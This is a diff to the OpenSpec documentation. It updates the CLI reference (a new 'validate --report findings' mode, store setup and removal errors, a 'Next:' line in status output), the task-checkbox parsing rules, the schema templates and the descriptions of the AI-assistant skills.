||||
|
||||
```
|
||||
@@ -715,8 +763,141 @@ Next steps:
|
||||
|
||||
**Exit codes**
|
||||
|
||||
- `0`: every validated item passed.
|
||||
- `1`: an item failed, or the run couldn't validate anything (unknown name, nothing to validate).
|
||||
- `0`: every validated item passed, including an empty bulk scope.
|
||||
- `1`: an item failed, the report request is invalid, or the run failed (for example an unknown name or no OpenSpec root).
|
||||
|
||||
### --report full|findings
|
||||
|
||||
Selects the output for an explicit bulk validation scope:
|
||||
|
||||
- **`full`**: every item. This is the default. Explicit `--report full` keeps the existing output shape without adding report metadata.
|
||||
- **`findings`**: only items with issues, including passing items with warnings or information. Every item is still validated. Totals, strict-mode behavior, and exit codes are unchanged.
|
||||
|
||||
```bash
|
||||
openspec validate --all --report findings
|
||||
openspec validate --archived --report findings --json
|
||||
```
|
||||
|
||||
**Scopes**
|
||||
|
||||
| Flags | Findings `report.scope` |
|
||||
|---|---|
|
||||
| `--all` | `all` |
|
||||
| `--changes` | `changes` |
|
||||
| `--specs` | `specs` |
|
||||
| `--changes --specs`, or `--all` with either flag | `all` |
|
||||
| `--archived` | `archived` |
|
||||
|
||||
Both explicit report modes reject a positional item name, a missing bulk scope, or archive and active scopes combined.
|
||||
|
||||
#### Findings text output
|
||||
|
||||
**Human output**: stdout prints `Scope: <scope> (<count> items)`, then totals. With no issue-bearing items:
|
||||
|
||||
```text
|
||||
Scope: all (2 items)
|
||||
No item findings.
|
||||
Totals: 2 passed, 0 failed (2 items)
|
||||
```
|
||||
|
||||
Issue-bearing item labels, severity labels, paths, and messages print to stderr. Active-scope failures keep the `Details:` rerun hint after totals. The existing root banner and progress output may precede the report.
|
||||
|
||||
#### Findings JSON output
|
||||
|
||||
`--report findings --json` prints one document. This example has two clean items:
|
||||
|
||||
```json
|
||||
{
|
||||
"report": {
|
||||
"kind": "validation-findings",
|
||||
"version": "1.0",
|
||||
"scope": "all",
|
||||
"returnedItems": 0,
|
||||
"totalItems": 2
|
||||
},
|
||||
"itemFindings": [],
|
||||
"summary": {
|
||||
"totals": { "items": 2, "passed": 2, "failed": 0 },
|
||||
"byType": {
|
||||
"change": { "items": 1, "passed": 1, "failed": 0 },
|
||||
"spec": { "items": 1, "passed": 1, "failed": 0 }
|
||||
}
|
||||
},
|
||||
"root": { "path": "/Users/you/projects/my-app", "source": "nearest" }
|
||||
}
|
||||
```
|
||||
|
||||
- **`report.kind` and `report.version`**: identify the `validation-findings` shape, version `1.0`. There is no top-level `version` or `items`.
|
||||
- **`report.returnedItems` and `report.totalItems`**: count the returned records and all validated items, respectively.
|
||||
- **`itemFindings`**: complete item records whose `issues` array is nonempty. Includes `ERROR`, `WARNING`, and `INFO` issues. Each record retains `id`, `type`, `valid`, `issues`, and `durationMs`. Archived items use `type: "change"`.
|
||||
- **`summary`**: full-run totals and per-type counts, not counts of the returned subset. An empty scope has zero totals and exits 0.
|
||||
- **`root`**: the same selected-root metadata as the full report.
|
||||
|
||||
**Record preservation**: returned items keep their full-report order and any additive fields on items or issues. Filtering does not rewrite messages or locations, including optional `line` and `column` fields.
|
||||
|
||||
**Command failures**: root-selection or item-discovery failures retain the existing `status` diagnostic and exit 1. They do not return a completed findings report or a successful empty report.
|
||||
|
||||
#### Invalid report requests
|
||||
|
||||
Both explicit report modes reject these requests before root selection or item discovery:
|
||||
|
||||
- An unsupported report value, including an empty string.
|
||||
- A positional item name, even with a bulk flag.
|
||||
- No explicit bulk scope.
|
||||
- `--archived` combined with `--all`, `--changes`, or `--specs`.
|
||||
|
||||
In JSON mode, a rejected request exits 1 with only a single-element `status` array. It has no `root` or report payload:
|
||||
|
||||
```bash
|
||||
openspec validate --all --report bogus --json
|
||||
```
|
||||
|
||||
```json
|
||||
{
|
||||
"status": [
|
||||
{
|
||||
"severity": "error",
|
||||
"code": "invalid_validation_report_request",
|
||||
"message": "Unknown validation report 'bogus'.",
|
||||
"fix": "Use --report full|findings with --all, --changes, --specs, or --archived, without an item name. Do not combine archived and active scopes."
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Human mode prints the error to stderr. A bare `--report` with no value is a Commander syntax error on stderr, including with `--json`; it does not use this diagnostic envelope.
|
||||
|
||||
#### Filter a full report externally
|
||||
|
||||
For a custom JSON view, filter the full report with `jq` or PowerShell. These script examples preserve the validation exit code and leave command-error documents intact.
|
||||
|
||||
In Bash with `jq`:
|
||||
|
||||
```bash
|
||||
if validation_json=$(openspec validate --all --json); then
|
||||
validation_exit=0
|
||||
else
|
||||
validation_exit=$?
|
||||
fi
|
||||
printf '%s\n' "$validation_json" |
|
||||
jq 'if has("items") then .items |= map(select(.issues | length > 0)) else . end'
|
||||
exit "$validation_exit"
|
||||
```
|
||||
|
||||
In PowerShell:
|
||||
|
||||
```powershell
|
||||
$validationJson = openspec validate --all --json
|
||||
$validationExit = $LASTEXITCODE
|
||||
$validationReport = $validationJson | ConvertFrom-Json
|
||||
if ($validationReport.PSObject.Properties.Name -contains 'items') {
|
||||
$validationReport.items = @($validationReport.items | Where-Object { $_.issues.Count -gt 0 })
|
||||
}
|
||||
$validationReport | ConvertTo-Json -Depth 100
|
||||
exit $validationExit
|
||||
```
|
||||
|
||||
These custom views keep the full report's keys but omit clean items. They are neither complete full-v1 reports nor the versioned `--report findings` shape.
|
||||
|
||||
## openspec archive
|
||||
|
||||
@@ -850,7 +1031,20 @@ Schema: spec-driven
|
||||
Next: openspec status --change add-caching
|
||||
```
|
||||
|
||||
With `--json`:
|
||||
When no `openspec/` directory was found, `new change` creates one where you are and says so:
|
||||
|
||||
```
|
||||
Created change 'add-caching' at openspec/changes/add-caching/
|
||||
Schema: spec-driven
|
||||
Next: openspec status --change add-caching
|
||||
|
||||
Note: no OpenSpec root was found here, so one was created at openspec/.
|
||||
Run `openspec init` to finish setting this project up, or delete that directory if you meant a different project.
|
||||
```
|
||||
|
||||
The notice goes to stdout with the rest of the human output, and never appears with `--json`.
|
||||
|
||||
With `--json`, in a project that already has `openspec/`:
|
||||
|
||||
```json
|
||||
{
|
||||
@@ -867,6 +1061,15 @@ With `--json`:
|
||||
}
|
||||
```
|
||||
|
||||
When no `openspec/` directory was found and `new change` created one, the JSON has the same shape. `root.path` is the directory you ran it from, and `root.source` reads `implicit`:
|
||||
|
||||
```json
|
||||
"root": {
|
||||
"path": "/Users/you/projects/my-app",
|
||||
"source": "implicit"
|
||||
}
|
||||
```
|
||||
|
||||
**Exit codes**
|
||||
|
||||
- `0`: change created.
|
||||
@@ -916,8 +1119,24 @@ Progress: 2/4 artifacts complete
|
||||
[x] specs
|
||||
[ ] design
|
||||
[-] tasks (blocked by: design)
|
||||
|
||||
Next: openspec instructions design --change "add-rate-limit" --json
|
||||
```
|
||||
|
||||
The `Next:` line names the one command that moves the change forward, so `openspec status` is enough to pick a change back up in a fresh session. It names the next ready artifact while planning is unfinished, and `openspec instructions apply` once every planning artifact exists:
|
||||
|
||||
```
|
||||
[x] proposal
|
||||
[x] specs
|
||||
[x] design
|
||||
[x] tasks
|
||||
|
||||
All planning artifacts complete!
|
||||
Next: openspec instructions apply --change "add-rate-limit" --json
|
||||
```
|
||||
|
||||
It carries `--store <id>` whenever the resolved root is a store, and names the same command as the JSON `nextSteps` sentence.
|
||||
|
||||
`--json` adds per-artifact dependencies, resolved file paths, and a suggested next step. Trimmed:
|
||||
|
||||
```json
|
||||
@@ -1261,7 +1480,7 @@ openspec schema validate spec-driven # one schema, from any source
|
||||
openspec schema validate # every project-local schema
|
||||
```
|
||||
|
||||
It verifies that `schema.yaml` exists and parses, that the structure matches the schema format, that every artifact's template file exists inside the schema's `templates/` directory, and that the dependency graph has no cycles or unknown references.
|
||||
It verifies that `schema.yaml` exists and parses, that the structure matches the schema format, that every artifact's template file exists inside the schema's `templates/` directory, and that the dependency graph has no cycles or unknown references, including in `apply.requires`. An `apply.tracks` value that isn't exactly equal to some artifact's `generates` value prints a `warning:` line but does not fail validation, because OpenSpec then can't tell which artifact's progress that file belongs to.
|
||||
|
||||
**Options**
|
||||
|
||||
@@ -1410,6 +1629,8 @@ openspec store setup team-context --path ~/openspec/team-context
|
||||
|
||||
In an interactive terminal, setup prompts for a missing name and location and confirms before creating anything. Outside one, a missing name or `--path` exits 1 with the flag to pass. Rerunning setup for a registered store reports `Registry: already registered`.
|
||||
|
||||
Setup exits 1 with `store_setup_inside_git_repo` when `--path` is inside another Git repository, because initializing the store there would nest one repository in another. `--no-init-git` creates no repository, so it skips that check. Use it to keep a store at `~/openspec/<id>` when your home directory is itself a Git repository, such as a dotfiles repo.
|
||||
|
||||
**Arguments**
|
||||
|
||||
| Argument | What it is |
|
||||
@@ -1533,6 +1754,8 @@ Error: Pass --yes to delete store files non-interactively.
|
||||
Fix: openspec store remove design-system --yes
|
||||
```
|
||||
|
||||
Remove exits 1 and deletes nothing when the folder lacks matching store metadata, or when it contains another registered store (for example a store vendored as a Git submodule). In that case the error is `store_remove_contains_registered_store`: run `openspec store unregister <nested-id>` first, or `openspec store unregister <id>` to forget the store without deleting files.
|
||||
|
||||
**Options**
|
||||
|
||||
| Flag | Effect |
|
||||
@@ -1969,6 +2192,8 @@ Supported shells: `zsh`, `bash`, `fish`, `powershell`. Every subcommand takes an
|
||||
| `install [shell]` | Write the script and configure your shell startup file. |
|
||||
| `uninstall [shell]` | Remove the script and the config block. |
|
||||
|
||||
Installed with Nix, completions are already in place: the flake package ships the Bash, Fish, and Zsh scripts at the standard locations, so `install` is not needed ([Installation](../start/installation.md#nix)).
|
||||
|
||||
### openspec completion generate
|
||||
|
||||
Prints the script and writes nothing.
|
||||
|
||||
@@ -36,7 +36,7 @@ Boolean toggles keyed by flag name, set with `openspec config set featureFlags.<
|
||||
|
||||
### defaultStore
|
||||
|
||||
The machine-level fallback store id for root resolution, consulted only when no `--store` flag, local `openspec/`, or project `store:` pointer resolves. The full ladder is [Root resolution](stores.md#root-resolution).
|
||||
The machine-level fallback store id for root resolution, consulted only when no `--store` flag, local `openspec/`, or project `store:` pointer resolves. The full ladder is [Root resolution](../../multi-repo/stores.md#where-artifacts-get-created-when-using-stores).
|
||||
|
||||
### openers
|
||||
|
||||
|
||||
@@ -56,7 +56,7 @@ Only `apply` and `archive` are read.
|
||||
|
||||
### store
|
||||
|
||||
A store id used as the OpenSpec root, consulted only when this openspec/ directory is config-only (no specs/ or changes/). It is a fallback, never an override. The full ladder is [Root resolution](stores.md#root-resolution).
|
||||
A store id used as the OpenSpec root, consulted only when this openspec/ directory is config-only (no specs/ or changes/). It is a fallback, never an override. The full ladder is [Root resolution](../../multi-repo/stores.md#where-artifacts-get-created-when-using-stores).
|
||||
|
||||
### references
|
||||
|
||||
|
||||
@@ -8,4 +8,4 @@
|
||||
| [Change metadata (.openspec.yaml)](change-metadata.md) | `openspec/changes/<name>/.openspec.yaml` | The workflow schema, goal, scope, and spec exceptions for one change |
|
||||
| [CLI settings (config.json)](config-json.md) | `~/.config/openspec/config.json` (Windows varies) | How the openspec CLI behaves on your machine |
|
||||
| [Environment variables](environment-variables.md) | Your shell or CI environment | Telemetry opt-out, and where the config and data directories live |
|
||||
| [Stores](stores.md) | `~/.local/share/openspec/stores/` (Windows varies) | The registry and metadata behind multi-repo stores |
|
||||
| Stores | `~/.local/share/openspec/stores/` (Windows varies) | The registry and metadata behind multi-repo stores |
|
||||
|
||||
@@ -19,12 +19,12 @@ OpenSpec reuses words that mean something else in git, CI, and agent tooling. Ea
|
||||
| **Fast-forward** | Create a change proposal with every planning artifact in one pass, ready to implement. Skill: `openspec-ff-change`. Not a git fast-forward. | [Skills](skills.md) |
|
||||
| **Legacy workflow** | The pre-OPSX `/openspec:*` commands. | [Migration](../help/legacy/migration.md) |
|
||||
| **Loop** | The cycle a change proposal moves through: explore, propose, review, apply, archive. | [Quickstart](../start/quickstart.md) |
|
||||
| **Main specs** | The `openspec/specs/` tree: the current, agreed behavior of your system. Archiving merges deltas into it. | [Concepts](../guides/concepts.md) |
|
||||
| **OpenSpec root** | The `openspec/` tree a command resolves to and operates on: your repo's, or a store's. | [Stores](configuration/stores.md) |
|
||||
| **Main specs** | The `openspec/specs/` tree: the current, agreed behavior of your system. Archiving merges deltas into it. A capability with no spec yet gets one from its `ADDED` requirements. | [Concepts](../guides/concepts.md) |
|
||||
| **OpenSpec root** | The `openspec/` tree a command resolves to and operates on: your repo's, or a store's. | [Stores](../multi-repo/stores.md#where-artifacts-get-created-when-using-stores) |
|
||||
| **OPSX** | The current OpenSpec workflow system, and the command prefix it installs (`/opsx:`). | [Architecture](architecture/index.md) |
|
||||
| **Profile** | Which workflows init installs: `core` or `custom`. | [Profiles](../customize/profiles.md) |
|
||||
| **Propose** | Create a change proposal and generate all its planning artifacts in one step. Skill: `openspec-propose`. | [Quickstart](../start/quickstart.md) |
|
||||
| **Registry** | The machine-level list of registered stores, in `registry.yaml`. Not a package registry. | [Stores](configuration/stores.md) |
|
||||
| **Registry** | The machine-level list of registered stores, in `registry.yaml`. Not a package registry. | [CLI](cli.md#openspec-store) |
|
||||
| **Requirement** | One behavior the system must have, written with SHALL: `### Requirement:` in a spec. | [Delta specs](schemas/spec-driven/index.md#delta-specs-specmd) |
|
||||
| **Scenario** | A testable example under a requirement, in WHEN/THEN form. | [Delta specs](schemas/spec-driven/index.md#delta-specs-specmd) |
|
||||
| **Schema** | The definition of which artifacts a change proposal produces, and in what order. Not JSON Schema. | [Schemas](schemas/index.md) |
|
||||
|
||||
@@ -138,9 +138,12 @@ Apply stays blocked if that file is missing or contains no checkbox with task te
|
||||
- [ ] Pending task
|
||||
- [x] Completed task
|
||||
* [X] Completed task
|
||||
+ [ ] Pending task
|
||||
1. [ ] Pending task
|
||||
2) [x] Completed task
|
||||
```
|
||||
|
||||
Leading spaces are allowed. The [tasks.md section of the spec-driven page](spec-driven/index.md#tasksmd) defines the stricter format produced by the default schema.
|
||||
Any Markdown list marker works: `-`, `*`, `+`, or a number of up to nine digits followed by `.` or `)`. Leading spaces are allowed. The [tasks.md section of the spec-driven page](spec-driven/index.md#tasksmd) defines the stricter format produced by the default schema.
|
||||
|
||||
The tracked file drives the apply state:
|
||||
|
||||
@@ -198,12 +201,16 @@ apply:
|
||||
- Field types and required fields
|
||||
- Relative paths
|
||||
- Artifact IDs, dependencies, and cycles
|
||||
- `apply.requires` IDs: each must be an artifact in the schema
|
||||
- Template files
|
||||
|
||||
A schema with an unknown `apply.requires` ID doesn't load, so every command that uses it reports the error.
|
||||
|
||||
Validation warns, without failing, when `apply.tracks` isn't exactly equal to some artifact's `generates` value. OpenSpec finds the tracked artifact by comparing those two strings, so anything else leaves it unable to tell which artifact's progress the file belongs to. That includes a typo like `task.md`, and also `tracks: tasks/main.md` against `generates: tasks/*.md`, where the glob does produce the file but the strings still differ. Apply keeps reading the file either way, but `openspec list` and `openspec status` count `tasks.md` instead.
|
||||
|
||||
Validation doesn't catch these mistakes:
|
||||
|
||||
| Mistake | What happens |
|
||||
|---|---|
|
||||
| A field is misspelled, such as `instrution` | OpenSpec ignores it. Validation doesn't report the typo. |
|
||||
| `apply.requires` names an unknown artifact ID | Validation doesn't report the unknown ID. |
|
||||
| `name` differs from the schema directory | Validation passes. OpenSpec still uses the directory name for lookup. |
|
||||
|
||||
@@ -54,6 +54,8 @@ Establishes why the change is needed.
|
||||
The template the agent receives as the output format ([templates/proposal.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/proposal.md)):
|
||||
|
||||
```md
|
||||
# Proposal
|
||||
|
||||
## Why
|
||||
|
||||
<!-- Explain the motivation for this change. What problem does this solve? Why now? -->
|
||||
@@ -101,7 +103,19 @@ Sections:
|
||||
- **Impact**: Affected code, APIs, dependencies, or systems.
|
||||
|
||||
IMPORTANT: The Capabilities section is critical. It creates the contract between
|
||||
proposal and specs phases. Research existing specs before filling this in.
|
||||
proposal and specs phases. Research existing specs before filling this in:
|
||||
run `openspec list --specs` for the project's capability inventory, then
|
||||
`openspec show "<spec-id>" --type spec --json --no-scenarios` for any that
|
||||
look related - that returns a capability's purpose and requirement texts
|
||||
without pulling whole spec files into context. Append `--store "<id>"` to
|
||||
both commands only for a registered standalone store, and keep `--type
|
||||
spec`: a change and a spec sharing a name is otherwise an ambiguous-item
|
||||
error. `openspec list` without `--specs` lists in-flight changes, not
|
||||
specs - it never shows what the project already covers. Reuse an existing
|
||||
capability's exact path instead of introducing a near-duplicate name.
|
||||
The filtered read is only an overview. Before deciding what is already
|
||||
covered or what should change, read each relevant spec in full, including
|
||||
scenarios, with `openspec show "<spec-id>" --type spec` (same `--store` rule).
|
||||
Each capability listed here will need a corresponding spec file.
|
||||
|
||||
Every change must either declare at least one capability (new or
|
||||
@@ -122,11 +136,15 @@ This is the foundation - specs, design, and tasks all build on this.
|
||||
|
||||
Defines what behavior changes, with one delta spec per capability the proposal lists.
|
||||
|
||||
Each delta spec is the `spec.md` inside its capability folder. `openspec validate` and `openspec archive` reject delta sections written in any other file under `specs/`, such as `specs/user-auth.md`, because archive never merges them.
|
||||
|
||||
### Structure
|
||||
|
||||
The template the agent receives as the output format ([templates/spec.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/spec.md)):
|
||||
|
||||
```md
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
<!-- New capabilities only: one or two sentences (50+ characters) on what this capability is for. Delete this section for an existing capability. -->
|
||||
|
||||
@@ -168,7 +186,7 @@ Create one spec file per capability listed in the proposal's Capabilities sectio
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example,
|
||||
`user-auth` or `identity/user-auth`). Preserve the full path:
|
||||
- New capabilities: use the exact path from the proposal at `specs/<capability-path>/spec.md`. Any path segment newly introduced in the proposal must be kebab-case. Follow the project's existing organization; do not add a new domain level when the project uses a flat layout.
|
||||
- Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Do not move or rename the capability.
|
||||
- Modified capabilities: use the exact existing path from `openspec/specs/<capability-path>/` when creating the delta at `specs/<capability-path>/spec.md`. Run `openspec list --specs` to confirm that path before writing the delta, appending `--store "<id>"` only for a registered standalone store - a mistyped or invented path targets a capability that does not exist rather than the one you meant. Do not move or rename the capability.
|
||||
|
||||
There must be at least one spec file unless the change's `.openspec.yaml`
|
||||
sets `skip_specs: true` (no spec-level behavior change) - `openspec validate`
|
||||
@@ -188,7 +206,7 @@ Format requirements:
|
||||
- **CRITICAL**: Scenarios MUST use exactly 4 hashtags (`####`). Using 3 hashtags or bullets will fail silently.
|
||||
- Every requirement MUST have at least one scenario.
|
||||
|
||||
New capabilities only: start the delta spec with a `## Purpose` section -
|
||||
New capabilities only: the delta spec's first section is `## Purpose` -
|
||||
one or two sentences (50+ characters, or `openspec validate --strict`
|
||||
reports it as too brief) describing what the capability is for. Archive
|
||||
copies it into the main spec it creates; without it the new main spec is
|
||||
@@ -207,8 +225,10 @@ MODIFIED requirements workflow:
|
||||
Common pitfall: Using MODIFIED with partial content loses detail at archive time.
|
||||
If adding new concerns without changing existing behavior, use ADDED instead.
|
||||
|
||||
Example (a new capability, so it opens with `## Purpose`):
|
||||
Example (a new capability, so its first section is `## Purpose`):
|
||||
```
|
||||
# Spec Delta
|
||||
|
||||
## Purpose
|
||||
|
||||
Lets users take their data out of the product in a portable format.
|
||||
@@ -241,6 +261,8 @@ Explains how to implement the change. Drafted only when the change needs one.
|
||||
The template the agent receives as the output format ([templates/design.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/design.md)):
|
||||
|
||||
```md
|
||||
# Design
|
||||
|
||||
## Context
|
||||
|
||||
<!-- Current state and constraints that shape the approach. See proposal.md for motivation - don't restate it -->
|
||||
@@ -305,6 +327,8 @@ Breaks the implementation into checkable tasks. [apply](#apply) tracks progress
|
||||
The template the agent receives as the output format ([templates/tasks.md](https://github.com/Fission-AI/OpenSpec/blob/main/schemas/spec-driven/templates/tasks.md)):
|
||||
|
||||
```md
|
||||
# Tasks
|
||||
|
||||
## 1. <!-- Task Group Name -->
|
||||
|
||||
- [ ] 1.1 <!-- Task description -->
|
||||
@@ -328,7 +352,10 @@ would change what gets built, resolve them with the user first - do not
|
||||
bake an unstated assumption into the task list.
|
||||
|
||||
**IMPORTANT: Follow the template below exactly.** The apply phase parses
|
||||
checkbox format to track progress. Tasks not using `- [ ]` won't be tracked.
|
||||
checkbox format to track progress. A box holding only `x` counts as done,
|
||||
upper or lower case and with any spacing, so `- [ x]` is done too. Every
|
||||
other marker, including `- [~]`, `- [-]` and an empty `- []`, reads as
|
||||
unfinished. A line with no checkbox is not tracked at all.
|
||||
|
||||
Guidelines:
|
||||
- Group related tasks under ## numbered headings
|
||||
@@ -338,6 +365,8 @@ Guidelines:
|
||||
|
||||
Example:
|
||||
```
|
||||
# Tasks
|
||||
|
||||
## 1. Setup
|
||||
|
||||
- [ ] 1.1 Create new module structure
|
||||
|
||||
@@ -39,6 +39,13 @@ The skills come in two sets:
|
||||
- **Core**: installed by default, the main planning loop.
|
||||
- **Optional**: installed only when you add them, via [Profiles](../customize/profiles.md).
|
||||
|
||||
Every skill expects a project that already uses OpenSpec. Before its first step that writes anything, a skill checks for a resolved root. What happens when there is none depends on how the skill was reached:
|
||||
|
||||
- **Auto-selected**: your agent picked the skill on its own, without you naming OpenSpec. It drops OpenSpec and answers your request normally, the way it would with OpenSpec not installed.
|
||||
- **Explicit OpenSpec request**: you named OpenSpec, named the skill, or ran its command. It stops before writing and asks how to proceed: run `openspec init` here, target a store with `--store <id>`, or continue without OpenSpec. It waits for your answer.
|
||||
|
||||
Commands are always the second case. A project whose `openspec/config.yaml` names a store this machine cannot resolve (not registered, or a malformed `store:` line) is not treated as uninitialized: the skill stops and shows the store error with its fix. No skill creates an `openspec/` directory on its own in either case. The entries below describe what each skill does once a root is in place.
|
||||
|
||||
| Skill | Job | Type |
|
||||
|---|---|---|
|
||||
| [openspec-explore](#openspec-explore) | Think through an idea before it becomes a change proposal | Core |
|
||||
@@ -54,6 +61,8 @@ The skills come in two sets:
|
||||
| [openspec-bulk-archive-change](#openspec-bulk-archive-change) | Archive several change proposals at once | Optional |
|
||||
| [openspec-onboard](#openspec-onboard) | Learn the workflow by doing one real change proposal end to end | Optional |
|
||||
|
||||
Each entry below names the skill that owns the next step. When your profile leaves that skill out, the installed files never name it: the handoff becomes the equivalent `openspec` command, or a plain request to you, and a line that exists only to point at a missing skill is not written at all. So the skills you have always hand off to skills you have. Which set you get is [Profiles](../customize/profiles.md).
|
||||
|
||||
## openspec-explore
|
||||
|
||||
Think through an idea before it becomes a change proposal.
|
||||
@@ -82,7 +91,7 @@ Implement a change proposal's tasks, working through the list until done or bloc
|
||||
|---|---|
|
||||
| **Arguments** | A change proposal name (`add-auth`), optional. If the target is ambiguous it lists the active change proposals and asks you to pick. |
|
||||
| **Creates** | Code: the minimal changes each task calls for, in your project files. In the change proposal it touches only the tasks file, checking off each finished task (`- [ ]` to `- [x]`). |
|
||||
| **Response** | Progress per task, then an overall count (N/M tasks complete). All done: suggests `openspec-archive-change`. Blocked by missing artifacts: points to `openspec-continue-change`. Unclear tasks or errors: pauses and asks. |
|
||||
| **Response** | Progress per task, then an overall count (N/M tasks complete). All done: suggests `openspec-archive-change`. Blocked by missing artifacts: points to `openspec-continue-change`, or to `openspec status` and `openspec instructions` when that skill is not installed (the core profile leaves it out). Unclear tasks or errors: pauses and asks. |
|
||||
|
||||
## openspec-update-change
|
||||
|
||||
@@ -92,7 +101,7 @@ other.
|
||||
| Contract | Description |
|
||||
|---|---|
|
||||
| **Arguments** | A change proposal name, optional, plus the revision you want. With no revision stated it runs a coherence review: artifacts checked against each other for contradictions, gaps, and duplication. |
|
||||
| **Creates** | Nothing new. Edits only artifact files that already exist. Missing artifacts are `openspec-continue-change`'s job. Never code. |
|
||||
| **Creates** | Nothing new. Edits only artifact files that already exist. Missing artifacts are `openspec-continue-change`'s job. Without that skill (the core profile leaves it out), it points to `openspec status` and `openspec instructions` instead. Never code. |
|
||||
| **Response** | Shows each proposed revision and writes it only after you confirm, one artifact at a time. Ends with what was revised and the next step; implementation waits for `openspec-apply-change`. |
|
||||
|
||||
## openspec-sync-specs
|
||||
|
||||
@@ -49,7 +49,7 @@ The id goes to `openspec init --tools <id>` to skip the picker ([CLI](cli.md)).
|
||||
| Trae | `trae` | `.trae/skills/` | `/openspec-apply-change` | `.trae/commands/` | `/opsx-apply` |
|
||||
| ZCode | `zcode` | `.zcode/skills/` | `/openspec-apply-change` | `.zcode/commands/opsx/` | `/opsx:apply` |
|
||||
| Zoo Code | `roocode` | `.roo/skills/` | `/openspec-apply-change` | `.roo/commands/` | `/opsx-apply` |
|
||||
| Shared `.agents` skills | `agents` | `.agents/skills/` | `/openspec-apply-change` | none | none |
|
||||
| Other / Universal | `agents` | `.agents/skills/` | `/openspec-apply-change` | none | none |
|
||||
|
||||
- **Skill invocation**: whether a tool registers skills as typed entries is the tool's
|
||||
own behavior. The column shows the spelling OpenSpec uses in generated files and in
|
||||
@@ -118,10 +118,13 @@ init prints this reminder after install.
|
||||
- **Safe across projects**: a commands-only delivery leaves the global skills in
|
||||
place, so one project's setting cannot remove skills another project uses.
|
||||
|
||||
### Shared `.agents` skills
|
||||
### Other / Universal (shared `.agents` skills)
|
||||
|
||||
- **When it fits**: any tool that reads the shared `.agents/skills/` folder,
|
||||
including tools with no row in the matrix.
|
||||
including tools with no row in the matrix. It is the entry to pick when your
|
||||
assistant is not listed. The init picker's search box finds it by `universal`,
|
||||
`other`, `generic`, `custom`, `proprietary`, `unlisted`, `unsupported`,
|
||||
`vendor-neutral`, or `agents.md`.
|
||||
- **Alongside other targets**: Antigravity, Codex, Zed Agent, and this target share
|
||||
one physical skill tree. OpenSpec records one writer in `.openspec-target` and
|
||||
writes the tree once per run. Each tool's separate command files are still
|
||||
|
||||
@@ -94,6 +94,11 @@ That leaves nothing on your PATH, so there's no install to check afterward.
|
||||
|
||||
To put OpenSpec in a project dev shell instead, add the flake as an input and use its default package; [flake.nix](https://github.com/Fission-AI/OpenSpec/blob/main/flake.nix) lists the outputs.
|
||||
|
||||
The Nix package ships the Bash, Fish, and Zsh completion scripts at the standard
|
||||
locations (`share/bash-completion/completions`, `share/fish/vendor_completions.d`,
|
||||
`share/zsh/site-functions`), so they load with the package and there is no need to run
|
||||
`openspec completion install`.
|
||||
|
||||
### Check it worked
|
||||
|
||||
Whichever method you used, in your terminal:
|
||||
|
||||
@@ -17,7 +17,7 @@ flowchart LR
|
||||
archive -. "next change" .-> explore
|
||||
```
|
||||
|
||||
Every prompt below goes in your AI chat, the same place you ask for code. Each invokes an OpenSpec skill by name, the same spelling in every tool. A plain ask works too ("propose a change to add rate limiting"). Some tools add shorter command aliases (`/opsx:propose` in Claude Code, [other tools vary](../reference/supported-tools.md)).
|
||||
Every prompt below goes in your AI chat, the same place you ask for code. Each invokes an OpenSpec skill by name, the same spelling in every tool. A plain ask works too ("propose a change to add rate limiting"), and so does naming the step directly - "openspec propose", "opsx apply" - which runs the workflow instead of hand-building the files. (`openspec update` is a real CLI command that refreshes generated files, so say "openspec update change" for that workflow.) Some tools add shorter command aliases (`/opsx:propose` in Claude Code, [other tools vary](../reference/supported-tools.md)).
|
||||
|
||||
## Step 1: Explore
|
||||
|
||||
@@ -27,7 +27,7 @@ Think the idea through with your agent before you ask for a plan. In your AI cha
|
||||
/openspec-explore how rate limiting should work in this app
|
||||
```
|
||||
|
||||
Explore is a thinking mode. The agent investigates your codebase, asks the questions that matter, sketches options, and challenges assumptions. It writes no code and no files. The output is a sharper idea.
|
||||
Explore is a thinking mode. The agent investigates your codebase, asks the questions that matter, sketches options, and challenges assumptions. It never writes code. It writes nothing else unless you ask it to capture what you decided, or say yes when it offers. The output is a sharper idea.
|
||||
|
||||
Stay here as long as the problem needs. When the shape feels right, hand it off:
|
||||
|
||||
|
||||
+2
-1
@@ -11,7 +11,7 @@ If you read nothing else, read these two pages:
|
||||
|
||||
That second one matters more than it looks. OpenSpec has two halves: a command line tool you run in your terminal, and slash commands you give to your AI assistant. Knowing which is which saves you the most common moment of confusion.
|
||||
|
||||
> **The best habit to build first: when you're not sure what to build, start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your code, weighs options, and sharpens a fuzzy idea into a concrete plan before any artifact or code exists. The [Explore First](explore.md) guide makes the case.
|
||||
> **The best habit to build first: when you're not sure what to build, start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your code, weighs options, and sharpens a fuzzy idea into a concrete plan before any code gets written. The [Explore First](explore.md) guide makes the case.
|
||||
|
||||
## Pick your path
|
||||
|
||||
@@ -76,6 +76,7 @@ That second one matters more than it looks. OpenSpec has two halves: a command l
|
||||
| [Customization](customization.md) | Project config, custom schemas, shared context |
|
||||
| [Multi-Language](multi-language.md) | Generate artifacts in languages other than English |
|
||||
| [Supported Tools](supported-tools.md) | The 30+ AI tools OpenSpec integrates with, and where files land |
|
||||
| [Community Showcase](community.md) | Projects and resources built with and for OpenSpec |
|
||||
|
||||
### When you need help
|
||||
|
||||
|
||||
@@ -47,7 +47,9 @@ deliberately remains the compatibility bare array documented in §4.13:
|
||||
## 4. Command JSON shapes
|
||||
|
||||
### 4.1 `list --json`
|
||||
`{ "changes": [ { "name", "completedTasks", "totalTasks", "lastModified", "status": "no-tasks"|"complete"|"in-progress" } ], "root": RootOutput }` — note the per-change `status` is a string enum here. `--specs`: `{ "specs": [ { "id", "requirementCount" } ], "root" }`.
|
||||
